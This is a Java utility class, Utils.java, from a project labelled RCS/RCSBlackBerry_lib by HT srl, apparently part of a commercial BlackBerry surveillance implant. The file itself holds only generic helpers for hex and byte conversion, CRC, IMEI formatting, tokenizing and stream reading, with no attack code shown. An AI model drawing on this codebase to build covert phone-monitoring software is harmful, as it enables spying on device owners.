//#preprocess
/* *************************************************
 * Copyright (c) 2010 - 2010
 * HT srl,   All rights reserved.
 * Project      : RCS, RCSBlackBerry_lib
 * File         : Utils.java
 * Created      : 26-mar-2010
 * *************************************************/
package blackberry.utils;

import java.io.ByteArrayOutputStream;
import java.io.EOFException;
import java.io.IOException;
import java.io.InputStream;
import java.util.Date;
import java.util.Vector;

import net.rim.device.api.crypto.RandomSource;
import net.rim.device.api.io.IOUtilities;
import net.rim.device.api.system.GPRSInfo;
import net.rim.device.api.util.Arrays;
import net.rim.device.api.util.DataBuffer;
import net.rim.device.api.util.NumberUtilities;
import blackberry.debug.Check;
import blackberry.debug.Debug;
import blackberry.debug.DebugLevel;

/**
 * The Class Utils.
 */
public final class Utils {

    /** The debug instance. */
    //#ifdef DEBUG
    private static Debug debug = new Debug("Utils", DebugLevel.INFORMATION);

    //#endif

    //final static Random RANDOM = new Random();

    public static int hex(int value) {
        try {
            return Integer.parseInt(Integer.toHexString(value));
        } catch (NumberFormatException e) {
            //#ifdef DEBUG
            debug.error(e);
            debug.error("hex");
            //#endif
            return value;
        }
    }

    /**
     * ASCII.
     * 
     * @param c
     *            the c
     * @return the char
     */
    public static char ascii(final int c) {
        return (char) ((c) <= 9 ? (c) + '0' : (c) + 'A' - 0xA);
    }

    /**
     * Byte array to char array.
     * 
     * @param message
     *            the message
     * @return the char[]
     */
    public static char[] byteArrayToCharArray(final byte[] message) {
        final char[] payload = new char[message.length];

        for (int i = 0; i < message.length; i++) {
            payload[i] = (char) (message[i] & 0xFF);
        }

        return payload;
    }

    /**
     * Byte array to hex.
     * 
     * @param data
     *            the data
     * @return the string
     */
    public static String byteArrayToHex(final byte[] data) {
        return byteArrayToHex(data, 0, data.length);
    }

    /**
     * Converte un array di byte in una stringa che ne rappresenta il contenuto
     * in formato esadecimale.
     * 
     * @param data
     *            the data
     * @param offset
     *            the offset
     * @param length
     *            the length
     * @return the string
     */
    public static String byteArrayToHex(final byte[] data, final int offset,
            final int length) {
        final StringBuffer buf = new StringBuffer();
        for (int i = offset; i < offset + length; i++) {
            int halfbyte = (data[i] >>> 4) & 0x0F;
            int twohalfs = 0;
            do {
                if ((0 <= halfbyte) && (halfbyte <= 9)) {
                    buf.append((char) ('0' + halfbyte));
                } else {
                    buf.append((char) ('a' + (halfbyte - 10)));
                }
                halfbyte = data[i] & 0x0F;
            } while (twohalfs++ < 1);
        }
        return buf.toString();
    }

    public static byte[] hexToByteArray(final String data, final int offset,
            final int length) {

        //#ifdef DBC
        Check.requires(length % 2 == 0, "HexToByteArray parity");
        Check.requires(data.length() >= length + offset,
                "HexToByteArray data len");
        //#endif

        final byte[] array = new byte[length / 2];

        int counter = 0;
        for (int pos = offset; pos < offset + length; pos += 2) {
            final String repr = data.substring(pos, pos + 2);

            array[counter] = (byte) Integer.parseInt(repr, 16);
            counter++;
        }

        //#ifdef DBC
        Check.ensures(counter == array.length, "HexToByteArray len");
        //#endif

        return array;
    }

    /**
     * Byte array to int.
     * 
     * @param buffer
     *            the buffer
     * @param offset
     *            the offset
     * @return the int
     */
    public static int byteArrayToInt(final byte[] buffer, final int offset) {

        //#ifdef DBC
        Check.requires(buffer.length >= offset + 4, "short buffer");
        //#endif

        final DataBuffer databuffer = new DataBuffer(buffer, offset, 4, false);
        int value = 0;

        try {
            value = databuffer.readInt();
        } catch (final EOFException e) {
            //#ifdef DEBUG
            debug.error("Cannot read int from buffer at offset:" + offset);
            //#endif
        }

        return value;

    }

    /**
     * Byte array to long.
     * 
     * @param buffer
     *            the buffer
     * @param offset
     *            the offset
     * @return the long
     */
    public static long byteArrayToLong(final byte[] buffer, final int offset) {

        //#ifdef DBC
        Check.requires(buffer.length >= offset + 8, "short buffer");
        //#endif

        final DataBuffer databuffer = new DataBuffer(buffer, offset, 8, false);
        long value = 0;

        try {
            value = databuffer.readLong();
        } catch (final EOFException e) {
            //#ifdef DEBUG
            debug.error("Cannot read int from buffer at offset:" + offset);
            //#endif
        }

        return value;

    }

    /**
     * Char array to byte array.
     * 
     * @param message
     *            the message
     * @return the byte[]
     */
    public static byte[] charArrayToByteArray(final char[] message) {
        final byte[] payload = new byte[message.length];

        for (int i = 0; i < message.length; i++) {
            payload[i] = (byte) (message[i] & 0xFF);
        }

        return payload;
    }

    /**
     * Copy.
     * 
     * @param dest
     *            the dest
     * @param src
     *            the src
     * @param len
     *            the len
     */
    public static void copy(final byte[] dest, final byte[] src, final int len) {
        copy(dest, 0, src, 0, len);
    }

    /**
     * Copy.
     * 
     * @param dest
     *            the dest
     * @param offsetDest
     *            the offset dest
     * @param src
     *            the src
     * @param offsetSrc
     *            the offset src
     * @param len
     *            the len
     */
    public static void copy(final byte[] dest, final int offsetDest,
            final byte[] src, final int offsetSrc, final int len) {
        //#ifdef DBC
        Check.requires(dest.length >= offsetDest + len, "wrong dest len");
        Check.requires(src.length >= offsetSrc + len, "wrong src len");
        //#endif

        for (int i = 0; i < len; i++) {
            dest[i + offsetDest] = src[i + offsetSrc];
        }
    }

    public static byte[] concat(final byte[] first, final byte[] second) {
        return concat(first, first.length, second, second.length);

    }

    /**
     * Concatena first e second.
     * 
     * @param first
     * @param lenFirst
     * @param second
     * @param lenSecond
     * @return
     */
    public static byte[] concat(final byte[] first, final int lenFirst,
            final byte[] second, final int lenSecond) {

        final byte[] sum = new byte[lenFirst + lenSecond];
        copy(sum, 0, first, 0, lenFirst);
        copy(sum, lenFirst, second, 0, lenSecond);
        return sum;
    }

    /**
     * Verifica l'uguaglianza di una porzione di array
     * 
     * @param first
     *            primo array
     * @param offsetFirst
     *            offset da cui cominciare la verifica
     * @param second
     *            secondo array
     * @param offsetSecond
     *            offset da cui cominciare la verifica
     * @param len
     *            lunghezza della porzione da verificare
     * @return
     */
    public static boolean equals(final byte[] first, final int offsetFirst,
            final byte[] second, final int offsetSecond, int len) {

        //#ifdef DBC
        Check.requires(first != null, "first null");
        Check.requires(second != null, "second null");
        //#endif

        if (first.length < offsetFirst + len) {
            //#ifdef DEBUG
            debug.trace("equals: wrong first len: " + first.length);
            //#endif
            return false;
        }

        if (second.length < offsetSecond + len) {
            //#ifdef DEBUG
            debug.trace("equals: wrong second len: " + second.length);
            //#endif
            return false;
        }

        for (int i = 0; i < len; i++) {
            if (first[i + offsetFirst] != second[i + offsetSecond]) {
                return false;
            }
        }

        return true;
    }

    public static boolean equals(final byte[] first, final byte[] second) {

        final int l1 = first.length;
        final int l2 = second.length;
        if (l1 != l2) {
            return false;
        }

        return equals(first, 0, second, 0, l1);
    }

    /**
     * Crc.
     * 
     * @param buffer
     *            the buffer
     * @return the int
     */
    public static int crc(final byte[] buffer) {
        return crc(buffer, 0, buffer.length);
    }

    /**
     * Crc.
     * 
     * @param buffer
     *            the buffer
     * @param start
     *            the start
     * @param len
     *            the len
     * @return the int
     */
    public static int crc(final byte[] buffer, final int start, final int len) {
        // CRC
        int confHash;
        long tempHash = 0;

        for (int i = start; i < (len - start); i++) {
            tempHash++;

            final byte b = buffer[i];

            if (b != 0) {
                tempHash *= b;
            }

            confHash = (int) (tempHash >> 32);

            tempHash = tempHash & 0xFFFFFFFFL;
            tempHash ^= confHash;
            tempHash = tempHash & 0xFFFFFFFFL;

            //debug.trace(i+" b: "+b+" temphash:" + tempHash);
        }

        confHash = (int) tempHash;
        //#ifdef DEBUG
        debug.trace("confhash:" + confHash);
        //#endif
        return confHash;
    }

    /**
     * Crc.
     * 
     * @param buffer
     *            the buffer
     * @return the int
     */
    public static int crc(final char[] buffer) {
        return crc(charArrayToByteArray(buffer), 0, buffer.length);
    }

    /**
     * Date diff.
     * 
     * @param after
     *            the after
     * @param before
     *            the before
     * @return the long
     */
    public static long dateDiff(final Date after, final Date before) {
        final long ret = after.getTime() - before.getTime();
        return ret;
    }

    /**
     * Dbg trace.
     * 
     * @param e
     *            the e
     */
    public static void dbgTrace(final Exception e) {
        e.printStackTrace();
    }

    /**
     * Gets the bit.
     * 
     * @param value
     *            the value
     * @param i
     *            the i
     * @return the bit
     */
    public static boolean getBit(final int value, final int i) {
        final boolean ret = ((value >> i) & 0x01) == 1;
        return ret;
    }

    /**
     * Gets the index of the token.
     * 
     * @param buffer
     *            the buffer
     * @param token
     *            the token
     * @return the index
     */
    public static int getIndex(final byte[] buffer, final byte[] token) {
        int pos = -1;

        for (int i = 0; i < buffer.length; i++) {
            if (Arrays.equals(buffer, i, token, 0, token.length)) {
                pos = i;
                break;
            }
        }

        return pos;
    }

    /**
     * Gets the index.
     * 
     * @param buffer
     *            the buffer
     * @param message
     *            the message
     * @return the index
     */
    public static int getIndex(final char[] buffer, final String message) {
        final char[] token = new char[message.length()];

        message.getChars(0, message.length(), token, 0);

        int pos = -1;

        for (int i = 0; i < buffer.length; i++) {
            if (Arrays.equals(buffer, i, token, 0, token.length)) {
                pos = i;
                break;
            }
        }

        return pos;
    }

    /**
     * Gets the time.
     * 
     * @return the time
     */
    public static long getTime() {
        return System.currentTimeMillis();
    }

    /**
     * Definizione delle funzioni helper comuni.
     * 
     * @param c
     *            the c
     * @return the int
     */
    public static int hex(final char c) {
        final int ret = (char) ((c) <= '9' ? (c) - '0'
                : (c) <= 'F' ? (c) - 'A' + 0xA : (c) - 'a' + 0xA);
        return ret;
    }

    public static byte[] hexStringToByteArray(final String wchar, int offset,
            int len) {

        final byte[] ret = new byte[len / 2];

        for (int i = 0; i < ret.length; i++) {
            final char first = wchar.charAt(offset + (i * 2));
            final char second = wchar.charAt(offset + (i * 2 + 1));

            int value = NumberUtilities.hexDigitToInt(first) << 4;
            value += NumberUtilities.hexDigitToInt(second);

            //#ifdef DBC
            Check.asserts(value >= 0 && value < 256,
                    "HexStringToByteArray: wrong value");
            //#endif

            ret[i] = (byte) value;
        }

        return ret;

    }

    /**
     * Hex string to byte array.
     * 
     * @param wchar
     *            the wchar
     * @return the byte[]
     */
    public static byte[] hexStringToByteArray(final String wchar) {
        //#ifdef DBC
        Check.requires(wchar.length() % 2 == 0, "Odd input");
        //#endif
        final byte[] ret = new byte[wchar.length() / 2];

        for (int i = 0; i < ret.length; i++) {
            final char first = wchar.charAt(i * 2);
            final char second = wchar.charAt(i * 2 + 1);

            int value = NumberUtilities.hexDigitToInt(first) << 4;
            value += NumberUtilities.hexDigitToInt(second);

            //#ifdef DBC
            Check.asserts(value >= 0 && value < 256,
                    "HexStringToByteArray: wrong value");
            //#endif

            ret[i] = (byte) value;
        }

        return ret;
    }

    /**
     * Imei to string.
     * 
     * @param imei
     *            the imei
     * @return the string
     */
    public static String imeiToString(final byte[] imei, boolean dots) {
        final String imeiString = GPRSInfo.imeiToString(imei);

        if (dots) {
            //TODO: perche' facciamo cosi'?
            return imeiString.replace('.', '0');
        } else {
            return imeiString;
        }
        //StringUtils.
    }

    /**
     * Int to byte array.
     * 
     * @param value
     *            the value
     * @return the byte[]
     */
    public static byte[] intToByteArray(final int value) {
        final byte[] result = new byte[4];
        final DataBuffer databuffer = new DataBuffer(result, 0, 4, false);
        databuffer.writeInt(value);
        return result;
    }

    /**
     * Int to char array.
     * 
     * @param value
     *            the value
     * @return the char[]
     */
    public static char[] intToCharArray(final int value) {
        return byteArrayToCharArray(intToByteArray(value));
    }

    /**
     * Join string.
     * 
     * @param nodes
     *            the nodes
     * @return the string
     */
    public static String joinString(final Vector nodes) {
        final StringBuffer sb = new StringBuffer();
        final int nsize = nodes.size();
        for (int i = 0; i < nsize; i++) {
            sb.append((String) nodes.elementAt(i));
        }
        return sb.toString();
    }

    /**
     * Long to byte array.
     * 
     * @param value
     *            the value
     * @return the byte[]
     */
    public static byte[] longToByteArray(final long value) {
        final byte[] result = new byte[8];
        final DataBuffer databuffer = new DataBuffer(result, 0, 8, false);
        databuffer.writeLong(value);
        //#ifdef DBC
        Check.ensures(result.length == 8, "longToByteArray len: "
                + result.length);
        //#endif
        return result;
    }

    /**
     * Sleep.
     * 
     * @param millis
     *            the millis
     */
    public static void sleep(final int millis) {
        try {
            //Date timestamp = new Date();
            Thread.sleep(millis);
            //long elapsed = (new Date()).getTime() - timestamp.getTime();

            /*
             * if (elapsed > millis * 2) { debug.error("slept " + elapsed +
             * " instead of:" + millis + " thread: " +
             * Thread.currentThread().getName()); }
             */

            //Thread.yield();
        } catch (final InterruptedException e) {
            //#ifdef DEBUG
            debug.error("sleep interrupted!");
            //#endif
        }
    }

    /**
     * Split string.
     * 
     * @param original
     *            the original
     * @param separators
     *            the separators
     * @return the vector
     */
    public static Vector splitString(String original, final String separators) {
        final Vector nodes = new Vector();
        // Parse nodes into vector
        int index = original.indexOf(separators);
        while (index >= 0) {
            nodes.addElement(original.substring(0, index));
            original = original.substring(index + separators.length());
            index = original.indexOf(separators);
        }
        // Get the last node
        nodes.addElement(original);

        return nodes;
    }

    private Utils() {
    }

    /**
     * Restituisce la codifica default del messaggio paddato di zeri per la
     * lunghezza specificata.
     * 
     * @param message
     * @param len
     * @return
     */
    public static byte[] padByteArray(final byte[] byteAddress, final int len) {
        final byte[] padAddress = new byte[len];
        Utils.copy(padAddress, byteAddress, Math.min(len, byteAddress.length));

        //#ifdef DBC
        Check.ensures(padAddress.length == len, "padByteArray wrong len: "
                + padAddress.length);
        //#endif
        return padAddress;
    }

    public static Vector Tokenize(final String fullCommand,
            final String separators) {
        int pos = 0;
        final Vector vector = new Vector();

        boolean skip = false;
        for (int i = 0; i < fullCommand.length(); i++) {
            final char ch = fullCommand.charAt(i);
            if (separators.indexOf(ch) >= 0) {
                if (!skip) {
                    final String word = fullCommand.substring(pos, i);
                    if (word != null && word.length() > 0) {
                        vector.addElement(word);

                    }
                    skip = true;
                }
            } else {
                if (skip) {
                    pos = i;
                    skip = false;
                }
            }
        }

        if (!skip && pos < fullCommand.length()) {
            final String word = fullCommand.substring(pos);
            if (word != null && word.length() > 0) {
                vector.addElement(word);
            }

        }

        return vector;
    }

    public static int randomInt(int from, int to) {
        return RandomSource.getInt(to - from) + from;
    }

    public static int randomInt() {
        return RandomSource.getInt();
    }

    public static long randomLong() {
        return RandomSource.getLong();
    }

    /**
     * Restituisce una stringa senza spazi Es: "333 1234" diventa: "3331234"
     * 
     * @param string
     * @return
     */
    public static String Unspace(String string) {
        //#ifdef DBC
        Check.requires(string != null, "Unspace: null string");
        //#endif

        final StringBuffer unspace = new StringBuffer();
        int spaces = 0;
        for (int i = 0; i < string.length(); i++) {
            final char c = string.charAt(i);
            if (c != ' ') {
                unspace.append(c);
            } else {
                spaces++;
            }
        }
        //#ifdef DBC
        Check.ensures(unspace.length() + spaces == string.length(),
                "Unspace: wrong spaces");
        //#endif
        return unspace.toString();
    }

    public static void addTypedString(DataBuffer databuffer,
            byte type, String name) {
        if (name != null && name.length() > 0) {
            final int header = (type << 24) | (name.length() * 2);
            databuffer.writeInt(header);
            databuffer.write(WChar.getBytes(name, false));
            //#ifdef DEBUG
            debug.trace("addTypedString: " + name + " type: "
                    + NumberUtilities.intToHexDigit(type) + "  len: "
                    + (header & 0x00ffffff));
            //#endif
        }
    }

    public static String chomp(String sd, String c) {
        if (sd == null) {
            return null;
        }
        if (sd.length() == 0) {
            return "";
        }
        if (sd.endsWith(c)) {
            return sd.substring(0, sd.length() - c.length());
        }

        return sd;
    }

    public static boolean isZip(byte[] core) {

        if (core.length >= 4) {
            // zip files start with PK followed by 0x03 and 0x04
            if (core[0] == 0x50 && core[1] == 0x4B && core[2] == 0x03
                    && core[3] == 0x04) {
                return true;
            }
        }
        return false;

    }

    public static String firstWord(String string) {
        string = string.trim();
        int firstSpace = string.indexOf(" ");
        if (firstSpace == -1) {
            return string;
        } else {
            return string.substring(0, firstSpace).trim();
        }
    }

    public static byte[] inputStreamToBuffer(InputStream stream) {
        try {
            return IOUtilities.streamToBytes(stream);
        } catch (IOException e) {
            return null;
        }
    }
 
    public static byte[] inputStreamToBuffer(InputStream iStream, int offset) {
        try {
            int i;

            final ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(
                    1024);

            byte[] buffer = new byte[1024];

            if (offset > 0) {
                iStream.skip(offset);
            }

            while ((i = iStream.read(buffer)) != -1) {
                byteArrayOutputStream.write(buffer, 0, i);
            }

            iStream.close();

            return byteArrayOutputStream.toByteArray();
        } catch (final IOException e) {
            //#ifdef DEBUG
            debug.error(e);
            debug.error("inputStreamToBuffer");
            //#endif

            return null;
        }
    }

    public static String unspace(String string) {
        //#ifdef DBC
        Check.requires(string != null, "Unspace: null string"); //$NON-NLS-1$
        //#endif
        if (string == null) {
            return null;
        }
        final StringBuffer unspace = new StringBuffer();
        int spaces = 0;
        final int len = string.length();
        for (int i = 0; i < len; i++) {
            final char c = string.charAt(i);
            if (c != ' ') {
                unspace.append(c);
            } else {
                spaces++;
            }
        }
        //#ifdef DBC
        Check.ensures(unspace.length() + spaces == string.length(),
                "Unspace: wrong spaces"); //$NON-NLS-1$
        //#endif
        return unspace.toString();
    }
}

.